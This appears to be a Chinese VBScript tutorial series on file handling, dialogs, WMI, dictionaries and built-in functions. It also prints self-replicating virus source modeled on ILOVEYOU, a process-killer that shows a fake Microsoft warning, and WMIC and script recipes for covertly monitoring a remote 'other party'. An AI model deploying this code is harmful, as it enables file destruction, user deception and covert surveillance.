do while ffile.atendofstream<>true
ffile.read(10)
loop
atendofline 屬性:如果已經到了行末尾,這個屬性返回 true 。
Column 屬性 ( 當前字符位置的列號 ) 和 line 屬性 ( 文件當前行號 ) :在打開一個文件後,行和列指針都被設置爲 1 。
4 、在文件中跳行: skip(x) 跳過 x 個字符; skipline 跳過一行
5 、在文件中寫入字符:可以用 2 -寫入和 8 -追加的方式來寫入
其方法有: write(x) 寫入 x 字符串; writeline(x) 寫入 x 代表的一行
writeblanklines(n) 寫入 n 個空行
注意:最後一定要使用 close 方法關閉文件 , 讀文件後一定要關閉,才能以寫的方式打開。
Vbs 腳本編程簡明教程之十二
使用系統對話框
在 VBS 腳本設計中,如果能使用 windows 提供的系統對話框,可以簡化腳本的使用難度,使腳本人性化許多,很少有人使用,但 VBS 並非不能實現這樣的功能,方法當
然還是利用 COM 對象。
1 、 SAFRCFileDlg.FileSave 對象:屬性有: FileName — 指定默認文件名; FileType — 指定文件擴展名; OpenFileSaveDlg — 顯示文件保存框體方法。
2 、 SAFRCFileDlg.FileOpen 對象: FileName — 默認文件名屬性; OpenFileOpenDlg — 顯示打開文件框體方法。
3 、 UserAccounts.CommonDialog 對象: Filter — 擴展名屬性( "vbs File|*.vbs|All Files|*.*" );
FilterIndex — 指定
InitialDir — 指定默認的文件夾
FileName — 指定的文件名
Flags — 對話框的類型
Showopen 方法:
很簡單, ok ,讓我們來舉兩個簡單的例子:
例一:保存文件
Set objDialog = CreateObject("SAFRCFileDlg.FileSave")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objDialog.FileName = "test"
objDialog.FileType = ".txt"
intReturn = objDialog.OpenFileSaveDlg
If intReturn Then
objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)
Else
Wscript.Quit
End If
注意: 1 、 SAFRCFileDlg.FileSave 對象僅僅是提供了一個方便用戶選擇的界面,本身並沒有保存文件的功能,保存文件還需要使用 FSO 對象來完成。 2 、用
FileType 屬性來指定默認的文件類型。 3 、在調用 OpenFileSaveDlg 方法時,最好把返回值保存到一變量中,用它可以判斷用戶按下的是確定還是取消。
例二: . 打開文件
set objFile = CreateObject("SAFRCFileDlg.FileOpen")
intRet = objFile.OpenFileOpenDlg
if intret then
msgbox “文件打開成功!文件名爲:” & objFile.filename
else
wscript.quit
end if
例三:比較複雜的打開文件對話框
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "vbs File|*.vbs"
objDialog.InitialDir = "c:/"
tfile=objDialog.ShowOpen
if tfile then
strLoadFile = objDialog.FileName
msgbox strLoadFile
else
wscript.quit
end if
說明:在腳本中加入 objDialog.Flags = &H020 看看會出現什麼結果
Vbs 腳本編程簡明教程之十三—— 1
WMI 基礎之一
WMI 即 Windows 管理規範,是用戶管理本地和遠程計算機的一種模型。通過它可以訪問、配置、管理和監視幾乎所有的 Windows 資源。 WMI 的語法十分簡單,基本上常
見的命名空間、對象等用幾乎一模一樣。它對應的是 Windows 裏的 WMI 服務( winmgmt )。
一、 WMI 的起源
幾年前,幾家資深的計算機公司由於系統管理領域缺少標準,委託 DMTF 啓動了 CIM (通用信息模型)項目,理想的 CIM 是一種不受限制於任何特定實現環境的管理工
具。 WMI 是 CIM 的微軟實現,它有很多類是從 CIM 中派生出來的。
二、 WMI 的命名空間
那麼命名空間是做什麼作用的呢?我簡單這樣說,在同一段代碼中,如果有兩個變量或函數的名字完全相同,就會出現衝突。命名空間就是爲解決變量、函數的命名衝突
而服務的。解決的辦法就是將你的變量定義在一個不同名字的命名空間中。就好像財政局有個張三,公安局也有個張三,但我們清楚,就是因爲他們分屬不同的單位。有
些地方可能不太準確,但大致意思就是這樣了。
WMI 的命名空間創建了一個層次結構,有點類似於我們的目錄文件結構。
1 、 root- 作爲所有其他名字的佔位符;
2 、 root/default- 與註冊表操作有關的類;
3 、 root/security- 與系統安全有關的類;
4 、 root/cimv2- 從 CIM 派生的類,代表我們最常用的工作環境。
三、 WMI 的對象路徑
WMI 的對象路徑用來在 CIM 庫中定位類和它的事例,對象路徑用兩個反斜槓 // 開頭,第一個元素是目標計算機的名字,第二個元素是相應的 WMI 命名空間,第三個元
素是相應的類名,並用 : 將它與命名空間分隔開來。例如: //../root/cimv2:win32_service
其中那個 . 代表是本地系統。
四、 WMI 的查詢語言—— WQL 僅僅是 ANSI SQL 的一個子集,只能用於數據的提取。
數據、事件查詢的基本語法爲:
Select pro1 , pro2 , pro3 from myclass ( myclassevent )
例如: Select name , path from Win32_share 說明:列出所有共享的名稱和路徑
也可以使用通配符 * ,例如: Select * from Win32_share
關鍵字 Where 用於限定查詢的範圍。
例如: Select * from Win32_share where name= ” Admin ”
五、 WMI 腳本中使用的三個步驟
步驟 1 :連接到 WMI 服務
在任何 WMI 腳本中,第一個步驟都是建立一個到目標計算機上的 Windows 管理服務的連接。方法是調用 VBScript 的 Getobject 函數並將 WMI 腳本庫的名字對象的名
稱(即“ winmgmts: ”,後跟目標計算機的名稱)傳遞到 Getobject ,並返回一個對象的引用,此時,您就可以調用其提供的方法如: InstancesOf ,正如方法名所示
, InstancesOf 返回由資源的類名標識的託管資源的所有實例。
步驟 2 :檢索 WMI 託管資源的實例
一般採用 WQL 來實現。
步驟 3 :顯示 WMI 託管資源的屬性
最後一個步驟是枚舉 檢索得到集合的內容。一般採用
For each enum in myclass
……
Next 結構來實現。
六、 WMI 測試器 (wbemtest.exe) 驗證腳本執行結果
現在,您對可用於瀏覽和查看 CIM 的工具已經有了一些認識,讓我們使用 WMI 測試器 (wbemtest.exe) 來檢查 Win32_Process 類定義,以便從在您的本地計算機上運行
的進程檢索一些屬性。
1. 打開一個命令提示,鍵入 C:/>wbemtest.exe ,按下 Enter 來開始 WMI 測試器工具。請注意,大部分按鈕在主 WMI 測試器窗口上是被禁用的,這說明此時您沒有連
接到 WMI 。
2. 單擊 “連接”按鈕 連接到本地或遠程計算機上的 WMI 服務。顯示“連接”對話框,它提供一個標記爲 名稱空間 的文本輸入區域,該區域默認值爲 root/default
。將 名稱空間 區域的值更改爲 root/cimv2 ,單擊“連接”對話框的 連接 按鈕返回到主 WMI 測試器窗口。
3. 主窗口中左上角的命名空間標識符應該顯示爲 root/cimv2 。請注意,所有的按鈕現在都已啓用,這說明在當前憑據環境下,您已經成功連接到本地主機上的 WMI 。
單擊 枚舉類別 打開“超類信息”對話框。
4. 在“超類信息”對話框中,不要填寫 輸入超類別名稱 區域,單擊 遞歸 選項,單擊 確定 以枚舉 root/cimv2 名稱空間中定義的所有 CIM 類。
請注意,列於“查詢結果”對話框頂部的類是以兩個下劃線爲開頭的。這些是系統類。系統類是預定義的 CIM 類,支持內部 WMI 配置與操作,例如提供程序註冊、命名
空間安全性及事件通知等。現在,忽略系統類,向下滾動“查詢結果”對話框直至看到以 CIM_ 開頭的類。名稱以 CIM_ 開頭的類是由 DMTF 維護的核心與公共基類。繼
續向下滾動直至到達以 Win32_ 開頭的類。 名稱以 Win32_ 開頭的類是 Microsoft 擴展類,表示 Windows 特定的託管資源。如果這是您第一次檢查 root/cimv2 命名空
間,您可能希望熟悉 root/cimv2 命名空間中的類的完整集合,尤其是有 Win32_ 前綴的類。
5. 向下滾動“查詢結果”對話框直至到達 Win32_Process 類,雙擊該類名打開 Win32_Process 對話框的對象編輯器。
6. “對象編輯器”對話框顯示被選定類的定義和實現的詳細信息(屬性和方法)。選擇 Hide System Properties 複選框隱藏系統屬性。剩餘的 Win32_Process 屬性表
示您可以從在本地或遠程計算機上運行的進程檢索的信息。
運行如下代碼:
strComputer = "."
Set wbemServices = Getobject("winmgmts://" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
WScript.Echo "Name: " & wbemObject.Name & vbCrLf & _
" Handle: " & wbemObject.Handle & vbCrLf & _
" Process ID: " & wbemObject.ProcessID
Next
7. 在運行腳本之後,您可以用 WIMI 測試器驗證腳本的結果。在 Win32_Process 對話框的對象編輯器中,單擊 Instances 。產生的查詢結果對話框列出在計算機上運行
的進程的實例。雙擊一個指定的進程實例,查看該實例的詳細信息。
Vbs 腳本編程簡明教程之十三—— 2
WMI 基礎之二—阻止客人運行你不想運行的程序
很多人都有這樣的經驗,剛剛裝好的系統,讓人運行了一些你不想他運行的程序,比如說 QQ ,又是聊天,又是下載表情,不過一會,流氓插件、病毒、木馬已經盤踞了
你的計算機,常常是忍痛將這個程序卸載,可是不知情的人很自覺的下載安裝,使整個系統無法正常運行。
其實用 vbs 和 wmi 結合起來,使你的計算機上有相應的程序安裝,別人又無法運行起來太容易了,現在給出代碼:
On Error Resume Next ' 忽略所有的錯誤
Dim bag,pipe,honker,good
Do
good="." ' 定義爲本地計算機
set bag=getobject("winmgmts://"& good &"/root/cimv2") 'l 連接到 cimv2 命名空間
set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'") ' 看,這是我的計算機上不允許
運行的程序, qq 、 qqgame 、 winmine (掃雷)如果你還有其他的程序不允許運行,很簡單,在其中添加 or name=' 你不允許運行的程序名 '
for each i in pipe
i.terminate()
msgbox " 發現盜版系統,現已進行功能限制! " & vbcrlf & " 請使用正版軟件! ",," 微軟提示 " ' 此行其實可有可無,有這行只是爲了免去懷疑
next
wscript.sleep 60000 ' 每 1 分鐘檢測一次
loop
那麼如果我自己想運行這些程序該怎麼辦呢 , 很簡單, Ctrl+Alt+Del 三個鍵齊按,打開 windows 任務管理器,在進程中結束 Wscript.exe 和 wmiprvse.exe 進程的運
行就可以了
Vbs 腳本編程簡明教程之十四
使用 dictionary 對象
VBS 中存在一個特殊的對象- dictionnary ,是一個集合對象。一般情況霞,我把這個特殊的集合想象爲數組,可以使用其中內建的函數完成存儲和操縱數據等基本任務
,無須擔心數據是在哪些行列,而是使用唯一的鍵進行訪問或者是一個只能運行在內存中的數據庫,並只有兩個字段分別是: key 和 item ,在使用中,字段 key 是索
引字段。
set sdict=CreateObject("Scripting.Dictionary")
sdict.add "a","apple"
sdict.add "b","banana"
sdict.add "c","copy"
for each key in sdict.keys
msgbox " 鍵名 " & key & " 是 " & " = " & sdict (key)
next
sdict.removeall
這個腳本很簡單,就是定義了一個 dictionary 對象的實例 sdict ,並加入了三條數據,然後對每一條數據進行了枚舉,最後,將對象的實例清空。
Dictionary 對象的成員概要
屬性和說明
CompareMode 設定或返回鍵的字符串比較模式
Count 只讀。返回 Dictionary 裏的鍵 / 條目對的數量
Item(key) 設定或返回指定的鍵的條目值
Key(key) 設定鍵值
方法和說明
Add(key,item) 增加鍵 / 條目對到 Dictionary
Exists(key) 如果指定的鍵存在,返回 True ,否則返回 False
Items() 返回一個包含 Dictionary 對象中所有條目的數組
Keys() 返回一個包含 Dictionary 對象中所有鍵的數組
Remove(key) 刪除一個指定的鍵 / 條目對
RemoveAll() 刪除全部鍵 / 條目對
Vbs 腳本編程簡明教程之十五—— 1
VBS 內置函數之一
Abs 函數:返回數的絕對值。
Array 函數:返回含有數組的變體。
Asc 函數:返回字符串首字母的 ANSI 字符碼。
Atn 函數:返回數值的反正切。
CBool 函數:返回已被轉換爲 Boolean 子類型的變體的表達式。
CByte 函數:返回已被轉換爲字節子類型的變體的表達式。
CCur 函數:返回已被轉換爲貨幣子類型的變體的表達式。
CDate 函數:返回已被轉換爲日期子類型的變體的表達式。
CDbl 函數:返回已被轉換爲雙精度子類型的變體的表達式。
Chr 函數:返回與指定的 ANSI 字符碼相關的字符。
CInt 函數:返回已被轉換爲整形子類型的變體的表達式。
CLng 函數;返回已被轉換爲 Long 子類型的變體的表達式。
Cos 函數:返回角度的餘弦。
CreateObject 函數:創建並返回對“自動”對象的引用。
CSng 函數:返回已被轉換爲單精度子類型的變體的表達式。
CStr 函數:返回已被轉換爲字符串子類型的變體的表達式。
Date 函數:返回當前系統日期。
DateAdd 函數:返回的日期已經加上了指定的時間間隔。
DateDiff 函數:返回兩個日期之間的間隔。
DatePart 函數:返回給定日期的指定部分。
DateSerial 函數:返回指定年月日的日期子類型的變體。
Datevalue 函數:返回日期子類型的變體。
Day 函數:返回日期,取值範圍爲 1 至 31 。
Eval 函數:計算表達式並返回結果。
Exp 函數:返回 e (自然對數的底) 的多少次方。
Filter 函數:根據指定的篩選條件 , 返回含有字符串數組子集的、下限爲 0 的數組。
Fix 函數:返回數的整數部分。
FormatCurrency 函數:返回的表達式爲貨幣值格式,其貨幣符號採用系統控制面板中定義的。
FormatDateTime 函數:返回的表達式爲日期和時間格式。
FormatNumber 函數:返回的表達式爲數字格式。
FormatPercent 函數:返回的表達式爲百分數(乘以 100 )格式,後面有 % 符號。
GetObject 函數:返回從文件對“自動”對象的引用。
GetRef 函數:返回對能夠綁定到一事件的過程的引用。
Hex 函數:返回一字符串,代表一個數的十六進制值。
Hour 函數:返回表示鐘點的數字,取值範圍爲 0 至 23 。
InputBox 函數:在對話框中顯式一提示,等待用戶輸入文本或單擊按鈕,並返回文本框的內容。
InStr 函數:返回一個字符串在另一個字符串中首次出現的位置。
InStrRev 函數;返回一個字符串在另一個字符串中出現的位置,但是從字符串的尾部算起。
VBS 內置函數之二
Int 函數:返回數的整數部分。
IsArray 函數:返回 Boolean 值,反映變量是否爲數組。
IsDate 函數:返回 Boolean 值,反映表達式能否轉換爲日期。
IsEmpty 函數:返回 Boolean 值,反映變量是否已被初始化。
IsNull 函數:返回 Boolean 值,反映表達式是否含有無效數據 (Null) 。
IsNumeric 函數:返回 Boolean 值,反映表達式能否轉換爲數字。
IsObject 函數:返回 Boolean 值,反映表達式是否引用了有效的“自動”對象。
Join 函數:返回通過連接許多含有數組的子串而創建的字符串。
LBound 函數;返回指定維數數組的最小有效下標。
LCase 函數:返回的字符串已被轉換爲小寫字母。
Left 函數:返回字符串最左邊的指定數量的字符。
Len 函數:返回字符串中的字符數或存儲變量所需的字節數。
LoadPicture 函數:返回圖片對象。只用於 32 位平臺。
Log 函數:返回數的自然對數。
LTrim 函數;返回去掉前導空格的字符串。
Mid 函數:從字符串中返回指定數量的字符。
Minute 函數:返回分鐘數,取值範圍爲 0 至 59 。
Month 函數:返回表示月份的數,取值範圍爲 1 至 12 。
MonthName 函數:返回表示月份的字符串。
MsgBox 函數:在對話框中顯示消息,等待用戶單擊按鈕,並返回表示用戶所擊按鈕的數值。
Now 函數:返回計算機的當前系統日期和時間。
Oct 函數:返回表示該數八進制數值的字符串。
Replace 函數:返回一字符串,其中指定的子串已被另一個子串替換了規定的次數。
RGB 函數:返回代表 RGB 顏色值的數字。
Right 函數:返回字符串最右邊的指定數量的字符。
Rnd 函數:返回隨機數。
Round 函數:返回指定位數、四捨五入的數。
RTrim 函數:返回去掉尾部空格的字符串副本。
ScriptEngine 函數:返回反映使用中的腳本語言的字符串。
ScriptEngineBuildVersion 函數:返回使用中的腳本引擎的編譯版本號。
ScriptEngineMajorVersion 函數:返回使用中的腳本引擎的主版本號。
ScriptEngineMinorVersion 函數:返回使用中的腳本引擎的次版本號。
Second 函數:返回秒數,取值範圍爲 0 至 59 。
VBS 內置函數之三
Sgn 函數:返回反映數的符號的整數。
Sin 函數:返回角度的正弦值。
Space 函數:返回由指定數量的空格組成的字符串。
Split 函數:返回下限爲 0 的、由指定數量的子串組成的一維數組。
Sqr 函數:返回數的平方根。
StrComp 函數:返回反映字符串比較結果的數值。
String 函數:返回指定長度的重複字符串。
StrReverse 函數:返回一字符串,其中字符的順序與指定的字符串中的順序相反。
Tan 函數:返回角度的正切值。
Time 函數:返回表示當前系統時間的“日期”子類型的“變體”。
Timer 函數:返回時經子夜 12 : 00 AM 後的秒數。
TimeSerial 函數:返回含有指定時分秒時間的日期子類型的變體。
Timevalue 函數:返回含有時間的日期子類型的變體。
Trim 函數:返回去掉前導空格或尾部空格的字符串副本。
TypeName 函數:返回一字符串,它提供了關於變量的變體子類型信息。
UBound 函數:返回指定維數數組的最大有效下標。
UCase 函數:返回的字符串已經被轉換爲大寫字母。
VarType 函數:返回標識變體子類型的數值。
Weekday 函數:返回表示星期幾的數值。
WeekdayName 函數:返回表示星期幾的字符串。
Year 函數:返回表示年份的數值。
vbs 病毒的簡單例子源代碼解析
說明:作者對某些代碼進行了修改。該文件是一個完整的程序。該文件執行之後,會尋找硬盤上所有滿足條件的文件,對其進行強制性覆蓋(滿足條件的文件數據將全部
丟失)、並再創建一個相同文件名但後帶 .vbs 的文件。因此,請注意設立好破壞測試條件,千萬不要對他人進行測試,否則,一切後果自負。
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall ' 讀取病毒體,以備複製到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then ' 檢查磁盤類型
wscript.echo d ' 彈出窗口,顯示找到盤符
scan(d)
end if
next
lsfile=wscript.scriptfullname ' 該腳本程序路徑
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) ' 病毒運行後自我刪除 ( 本人自加,愛蟲病毒本身沒有該代碼)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) ' 獲取文件後綴
ext=lcase(ext) ' 後綴名轉換成小寫字母
if ext="mp5" then ' 如果後綴名是 mp5, 當然不存在這種文件,這裏可以自己修改,但是注意。請自己建立相應後綴名的文件,最好是非正常後綴名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy ' 覆蓋文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") ' 創建另外一個病毒文件
' file.delete(true) ' 刪除原來文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders ' 搜索其他目錄
scan(subfolder)
next
end sub
Vbs 腳本編程簡明教程補充讀物-初窺 WMI
今天,我將給大家介紹個朋友,它就是 Microsoft Windows Management Instrumentation (WMI) 。中文名字叫 Windows 管理規範。從 Windows 2000 開始, WMI (
Windows 管理規範)就內置於操作系統中,並且成爲了 Windows 系統管理的重要組成部分。所以大家很容易就能見到它的,因爲我們至少也應該是個 Windows 2000 的使
用者了。下面我將詳細介紹它的每個細節,讓你從不認識它到喜歡上它。
WMI 能做什麼?
WMI 不僅可以獲取想要的計算機數據,而且還可以用於遠程控制。遠程控制計算機可是大家都喜歡的東西。很多遠程監視控制類軟件通常的做法是:在遠程計算機上運行
服務端後臺程序,在本地計算機上運行一個客戶器端控制程序,通過這二個程序的勾結來實現對計算機的遠程控制。這種作法的缺點是十分明顯的,當服務端程序關了,
這種遠程監控就無法實現了,因爲沒有內線了。而 WMI 實現的遠程監視和控制完全不需要另外裝什麼服務端的東西,系統默認就將 WMI 服務給開了。具體說來, WMI 的
本領如下:
1 .獲取本地和遠程計算機的硬件軟件信息。
2 .監視本地和遠程計算機的軟件和服務等運行狀況。
3 .控制本地和遠程計算機的軟件和服務運行。
4 .高級應用。
如何訪問 WMI ?
當我們知道 WMI 的某些本領後,我們已經很想知道如何認識他並利用他了。利用 WMI 有許多途徑,簡單說來有三種了:
1 .通過微軟給我們提供的各種工具來實現普通查詢和操作。主要包括命令提示符下面的 WMIC ,還有就是微軟給我們提供的 WMI TOOL ,大家可以到微軟的網站上免費
下載,當然我也可以給大家免費提供。
2 .通過自己編寫腳本來實現更靈活操作。要想真正靈活實用,對 WSH 腳本的熟悉是必須的,當然如果你不熟悉也沒有關係,稍後我會給大家詳細解釋的。
3. 通過編寫我們自己的程序來訪問並操作它。什麼語言都行。如果用 .NET 類程序要簡單些了,如果用 VC 等要複雜些了,起碼我是這麼認爲的。
4 .還有個訪問它的方法,就是到它的一個巢穴。在 C:/WINDOWS/system32/wbem 目錄中的東西都和它有密切聯繫,有日誌和各種工具,在裏面你可以找到很多答案的。
不過這些東西一般都不適合我們新手玩了,感覺有點嚇人。
我們今天的任務?
今天我們的任務有五個:
任務一:利用 WMIC 列出遠程計算機上的所有進程。
任務二:利用 WMIC 關閉本地進程。
任務三:通過 WMIC 把遠程主機的進程信息保存在一個網頁中
任務四:利用腳本實時監視對方進程
任務五:利用腳本給對方開放共享
查看和監視進程,還要把進程給殺掉,最後還要給對方開個共享,我們這位朋友快把壞事做盡了。明白了我們的任務,我們就可以上路了。這次我們將主要藉助 WMIC 和
腳本來實現我們的任務,所以我們將主要分爲兩大部分來講解。在五個任務的實戰中我們將更加深入地理解它,沒有基礎沒有關係,我將盡力去解釋所有的所謂的基礎,
讓大家能很輕鬆地和這位朋友交流。
第一部分:利用 WMIC 來認識 WMI
WMIC 是 Windows Management Instrumentation Commandline 的簡稱, WMIC 擴展 WMI ,提供了從命令行接口和批命令腳本執行系統管理的支持。爲 WMI 名稱空間提供
了一個強大的、友好的命令行接口。有了 WMIC , WMI 就顯的平易近人了。
執行“ WMIC ”命令將啓動 WMIC 命令行環境。第一次執行 WMIC 命令時, Windows 首先要安裝 WMIC ,然後顯示出 WMIC 的命令行提示符。在 WMIC 命令行提示符上,
命令將以交互的方式執行。如果你不知道該如何和它交互,請敲個“ /? ”,細細看完全部的說明,你就知道了。 WMIC 也可以按照非交互的模式運行。如果要執行某個
單步的任務,或者運行批命令中的一系列 WMIC 命令,非交互模式就很有用。要使用非交互模式,只要在同一個命令行上啓動 WMIC 並輸入要執行的命令就可以了。
1 .任務一:利用 WMIC 列出遠程計算機上的所有進程
這是一個實現起來很簡單的任務,和你用一個 DOS 命令一樣簡單,因爲我們要循序漸進嘛,所以安排了這麼一個熱身任務。在命令提示符下敲入下面的命令,我們將看到
。
WMIC /node:192.168.1.2 /user:net process
解說:
1 )上面命令中的 NODE 和 USER 是全局開關。如果你不願意另外輸一次密碼,你也可以用 PASSWORD 開關,後面寫上密碼就可以了( WMIC /node:192.168.1.2
/user:net /password:password process )。千萬要注意,這裏的用戶名和密碼都必須是管理員級別的,其它的無效。 WMIC 提供了大量的全局開關、別名、動詞、命令
和豐富的命令行幫助增強用戶接口。全局開關是用來配置整個 WMIC 會話的選項。
2 ) Process 是個別名,執行了一個 Win32_process 類的 WQL 查詢,至於說是 WMI 的類是什麼東西,感興趣的就自己找資料多多瞭解,如果你很懶的話,就等我有時
間給你開課講解。別名是用戶和 WMI 名稱空間一個簡化語法的中間層。當你指定一個別名時,動詞( Verb )表示要執行的動作。
3 )如果你願意,你可以在該後面加上個動詞等,比如 LIST FULL 等(如: WMIC /node:192.168.1.2 /user:net /password:password process ),這樣你就看得更清
楚了。
小提示:安裝了 WMIC 的機器可以連接到任何一臺安裝了 WMI 的機器,被連接的機器不需要安裝 WMIC 。
2 .任務二:利用 WMIC 關閉本地進程
執行下面的命令將關閉正在運行的 QQ 。我比較膽小,所以不敢關別人的 QQ ,只能拿我的 QQ 試驗了,如果你的智商還夠用的話,膽子比較大的話,你很快就會去關別
人的了。
WMIC
process where name=”qq.exe” call terminate
解說:
1 )這次我們是用交互式的方法來執行任務,具體界面我就不多說了,圖上畫的比我說的好多了。
2 ) Call 也是個動詞,這個動詞可是厲害了,控制類的沒有不用它的,它就是可以調用各種類的各種方法的大將。這裏我們調用了 terminate 方法。從字面上你就可以
看出是惡狠狠的。
3 ) Where 能夠讓你查詢和篩選。在超級多的實例中找到你想要的。實例就是指每個類的具體實現了。前面的例子中看到的各個進程都分別算是 WIN32_PROCESS 中的一
個實例。
3 .任務三:通過 WMIC 把遠程主機的進程信息保存在一個網頁中
這個任務和任務一中的大致相同,是任務一的加強。在任務一中信息以文本的形式顯示出來了。其實除了文本形式的輸出之外, WMIC 還能夠以其他形式返回命令執行結
果,例如 XML 、 HTML 或者 CSV (逗號分隔的文本文件),如圖 3 所示。我們可以敲入下面的命令:
wmic /output:C:/1.html /node:192.168.1.2 /user:net process list full /format:hform.xsl
輸入密碼 :******
解釋:
1 )全局開關 OUTPUT 指明將這些信息保存在什麼地方。
2 )全局開關 FORMAT 指明瞭用什麼樣的格式,至於說有那些格式可以用,你可以參看 C:/WINDOWS/system32/wbem 目錄中的 *.xsl 文件,你甚至不用管它們從哪裏來的
,用就是了。挨着看看,一定可以找到你喜歡的。
第二部分:利用腳本來認識 WMI
命令提示符的工具確實好用,但是卻顯示不出我們是高手,高手都是能利用程序來實現目的的。下面我們就開始用腳本來實現我們的任務,功能將更加強大,操作將更加
靈活。
無論腳本還是真正意義上的程序,要檢索 WMI 託管資源信息進而查詢並利用 WMI ,都需要遵循以下三個步驟的。
1 .連接到 WMI 服務。建立一個到目標計算機上的 Windows 管理服務的連接。
2 .檢索 WMI 託管資源的實例。主要取決於要執行的任務。
3 .顯示 WMI 某實例屬性和調用其方法。
1 .任務四:利用腳本實時監視對方進程
在任務一和任務三中我們都是在查看對方的進程,出來的結果對我們意義不是很大,在這個任務中我們要從現在開始每當他開一個任務我們就察覺到,並把它記錄下來。
我們要在他開進程的那一秒開始報告並記錄,我們要清楚他所開的程序所在的位置,我們要比他更清楚地知道這些信息。
現在我們就按照前面提到的三個步驟來實現任務。
首先,我們連接到對方的 WMI 。在這裏我們首先調用 VBScript 的中的 Createobject ()來得到一個對象,然後利用這個特殊的對象的方法來連接到遠程的計算機上。
這個特殊的對象就是 wbemscripting.swbemlocator 。
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root/cimv2",strUser,strPwd)
注意其中的 strComputer 就是你所要連接的計算機的名稱或者 IP 地址, strUser , strPwd 當然就是用戶名和密碼了,我們說過這個用戶必須是具有管理員權限的才
可以。 root/cimv2 是 WMI 的命名空間,關於 WMI 的命名空間,大家可以到“計算機管理 /WMI 控件”中看到,這裏面的學問就大了,得慢慢琢磨,爲了我們的任務快
速實現,我就不多解釋了。用這種方法連接到 WMI ,返回一個對 SWbemServices 對象的引用,一旦有一個對 SWbemServices 對象的引用。我們就可以進行第二個步驟了
。
在第二個步驟中,我們將得到 WMI 託管資源的實例,我們利用 WbemServices 中的一個方法 ExecNotificationQuery 可以查詢我們所要的類,進而可以得到該類中實例
。
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
注意這裏有個類似於 SQL 語言的查詢語言,這裏叫做 WQL 語言,懂 SQL 的一看就明白了,不懂的就在網上找找它的資料,滿天都是。得到的 colMonitoredProcesses
是所查詢的類的實例的集合。有了這些我們的第三個步驟就可以開始了。
在第三個步驟中,我們將顯示出得到的實例中的屬性。剛纔我們得到的是實例的集合,在這裏我們通過 colMonitoredProcesses.NextEvent 來獲取每一個具體的實例,得
到每一個具體的實例後,我們就可以顯示出他們的屬性,也就是我們想看的東西了。這裏我們顯示了 CommandLine 的屬性值。
到現在你是否有些迷惑了,因爲你還不知道到底 WMI 裏面有那些類,具體類又有哪些屬性,呵呵,沒有關係的,用一些工具可以很輕鬆的得到這些信息。比如系統自帶的
wbemtest ,在運行中敲入這個程序名,你就可以看到這些了,它也遵循連接、查詢、枚舉這三個步驟。自己慢慢玩吧,很快你就會發現 WMI 太大了,單是命名空間就有
10 多個,然後單是我們常用的空間 root/CIMV2 裏面就有近 1000 個類,每個類裏面又有好多的屬性,有些類還有好多方法。哈哈,頭暈了吧?沒關係,其實你只需要知
道其中的一些就好了。
看到這些估計你的頭已經很大了,但是恭喜你,我們的這個任務已經完成了,是的,就是這麼簡單,下面我將完整代碼奉獻出來。
Set colArgs = WScript.Arguments
If WScript.arguments.count < 3 then
WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strFile = wscript.arguments(3)
set olct=createobject("wbemscripting.swbemlocator")
set wbemServices=olct.connectserver(strComputer,"root/cimv2",strUser,strPwd)
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objNewFile = objFS.OpenTextFile(strFile,8,true)
objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine
objNewFile.Close
Loop
到這個程序的核心了吧?相信你已經懂了其中的很多,剩餘的部分代碼我稍後解釋。我們先來感性認識一下,先看它該怎麼用吧!把上面的代碼拷貝到記事本中,然後保
存爲 monitor.vbs 的文件,然後在命令提示符下輸入:
CSCRIPT monitor.vbs
回車,你就會看到幫助,下面舉例說明這個腳本的具體用法:
CSCRIPT monitor.vbs 192.168.1.2 user password C:/1.txt
在命令提示符下敲入上面的命令就 OK 了,每當對方開一個程序的時候,你就可以看到時間,程序路徑和程序名。如果你沒有時間去看這些信息,你還可以等有時間的時
候到 C:/1.txt 看到這些信息。
小知識:
每次使用腳本,都必須敲入 CSCRIPT 和腳本的後綴名,很麻煩。這是因爲系統默認的執行引擎是 WSCRIPT ,可以將它改成 CSCRIPT 。另外一個讓人不爽的是腳本執行後
總要顯示微軟的說明,好像腳本不是我們寫的一樣。不過你可以通過在命令提示符下敲入下面的命令來解決這個問題:
cscript //nologo //h:cscript //s
這樣你以後再運行這些腳本的時候就不用在敲入 CSCRIPT 了,也不用在寫入 .vbs 的後綴名了,就上面的例子來說,你可以這樣用:
monitor 192.168.1.2 user password C:/1.txt
解釋:
1 )前面的那幾行,大概就是爲了顯示幫助和處理我們在後面輸入的參數。應用到了 WScript.Arguments 這個對象,利用它我們可以來獲取並處理腳本的參數。
2 )那個死循環是爲了讓我們一直監視他(她),每當他開一個程序,我們就得到一個新的實例,我們就可以知道他更多的信息,哈哈,夠狠吧。這樣你也就知道了,當
我們這個腳本運行後,只有通過我們人爲中止才能中斷監視,人爲中止的方法大家可以用 CTRL+C 來完成,也可以用各種野蠻的方法來中止。
